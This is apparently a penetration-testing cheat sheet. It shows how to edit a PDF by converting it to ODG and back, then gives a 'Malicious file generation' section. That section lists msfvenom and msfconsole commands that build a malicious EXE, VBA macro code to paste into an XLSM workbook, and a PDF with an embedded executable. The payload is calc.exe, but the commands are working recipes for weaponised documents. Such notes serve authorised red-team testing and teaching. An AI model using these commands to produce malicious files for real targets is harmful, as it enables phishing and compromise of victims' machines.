Files generation and editing

Modify existing PDF file

• Convert PDF to ODG

libreoffice --headless --convert-to odg filename.pdf

• Extract ODG to tmp folder

mkdir tmp
cd tmp
unzip ../filename.odg

• Edit content of content.xml file

vim content.xml

• Repack the ODG file

zip -r ../new_filename.odg *
cd ../

• Convert back to PDF

libreoffice --headless --convert-to pdf new_form.odg

Malicious file generation

EXE

msfvenom -p windows/x64/exec cmd=calc.exe -a x64 -f exe -o evil.exe

XLSM

msfvenom -p windows/x64/exec cmd=calc.exe -a x64 -f vba

• Enable Developer options

• Access to Visual Basic in Developer Tab

• Paste the VBA code generated by msfvenom in ThisWorkbook

PDF

msfconsole -x "use windows/fileformat/adobe_pdf_embedded_exe; set payload windows/exec; set cmd calc.exe; run; exit -y"